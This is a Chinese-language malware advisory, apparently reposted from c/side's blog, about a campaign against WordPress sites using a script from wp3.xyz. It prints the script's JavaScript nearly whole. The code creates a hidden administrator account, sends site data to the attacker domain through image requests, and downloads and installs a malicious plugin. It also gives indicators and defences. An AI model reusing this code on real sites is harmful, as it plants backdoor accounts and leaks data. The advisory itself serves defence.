目录导航
我们发现了一场针对 WordPress 网站的大规模恶意软件活动,影响了全球超过 5,000 个网站。
恶意域名
https://wp3[.]xyz/td.js

事件详情
c/side爬虫抓取到该恶意域名
目前还不清楚这些脚本是如何进入网站的。到目前为止,我们还没有发现共同点,我们的调查仍在进行中。
我们确实知道该脚本会创建未经授权的管理员帐户,其用户名和密码可以在代码中找到。
- 用户名: wpx_admin
- 密码: [REDACTED]
创建帐户后,脚本会下载恶意的 WordPress 插件并在现已感染的网站上激活它 – 将敏感数据发送到远程服务器。
解决方案
立即检查您的网站,删除任何未经授权的管理员帐户并删除任何未使用的插件或主题。
通过以下方式查找受感染的网站:
恶意脚本详细信息
首先,脚本获取请求所需的CSRF 令牌。然后它发送POST请求以使用硬编码凭据创建用户。它记录操作状态。
async function createUser() {
const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const doc = new DOMParser().parseFromString(userPage, 'text/html');
const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;
if (!csrfToken) {
sendLog({ error: 'CSRF token not found', type: 'error' });
return;
}
const formData = new FormData();
formData.append('_wpnonce_create-user', csrfToken);
formData.append('user_login', 'wpx_admin');
formData.append('pass1', '[REDACTED BY C/SIDE]');
formData.append('pass2', '[REDACTED BY C/SIDE]');
formData.append('role', 'administrator');
const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
method: 'POST',
body: formData,
credentials: 'include'
});
sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}
脚本从https://wp3.xyz/plugin[.]php 下载获取的插件后,会在受感染的网站上激活该插件。脚本会与https://wp3.xyz/tdw1[.]php进行通信,通过模糊化的图像请求发送管理员凭据和操作日志等敏感数据。
function sendLog(data) {
const logUrl = 'https://wp3.xyz/tdw1.php';
const img = new Image(); // Logs data via an image request.
const timestamp = Date.now();
img.onerror = () => {
if (retryCount < maxRetries) {
retryCount++;
setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
}
};
img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
...data,
url: window.location.origin,
timestamp,
userAgent: navigator.userAgent
}))}&t=${timestamp}`;
}
一旦攻击者获得管理员权限,脚本就会上传恶意插件。它从远程服务器获取插件并将其上传到 WordPress 网站。
installPlugin函数的工作原理如下:
- 获取插件上传页面来检索CSRF令牌。
- 下载恶意插件文件。
- 提交插件文件进行安装。
然后它使用以下技术:
- 通过以下方式上传插件: /wp-admin/update[.]php?action=upload-plugin 。
- 从外部源获取插件:https://wp3[.]xyz。
async function installPlugin() {
const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;
if (pluginToken) {
const pluginData = await fetch('https://wp3.xyz/plugin.php', {
mode: 'no-cors'
}).then(r => r.blob());
const pluginForm = new FormData();
pluginForm.append('_wpnonce', pluginToken);
pluginForm.append('pluginzip', pluginData, 'plugin.zip');
const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
method: 'POST',
body: pluginForm,
credentials: 'include'
});
sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
}
}
该脚本最终通过检查网站内容中对https://wp3[.]xyz 的引用来验证恶意插件是否成功安装。
const finalCheck = await fetch(window.location.origin, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
if (finalCheck.includes('wp3.xyz')) {
sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}
防范方法
- 在防火墙或安全工具中阻止域名https://wp3[.]xyz 。
- 审核 WordPress 管理员帐户中是否存在未经授权的用户。
- 删除可疑插件并验证现有插件。
- 加强CSRF保护并实施多因素身份验证 (MFA)。
来源
https://cside.dev/blog/over-5k-wordpress-sites-caught-in-wp3xyz-malware-attack
转载请注明出处及链接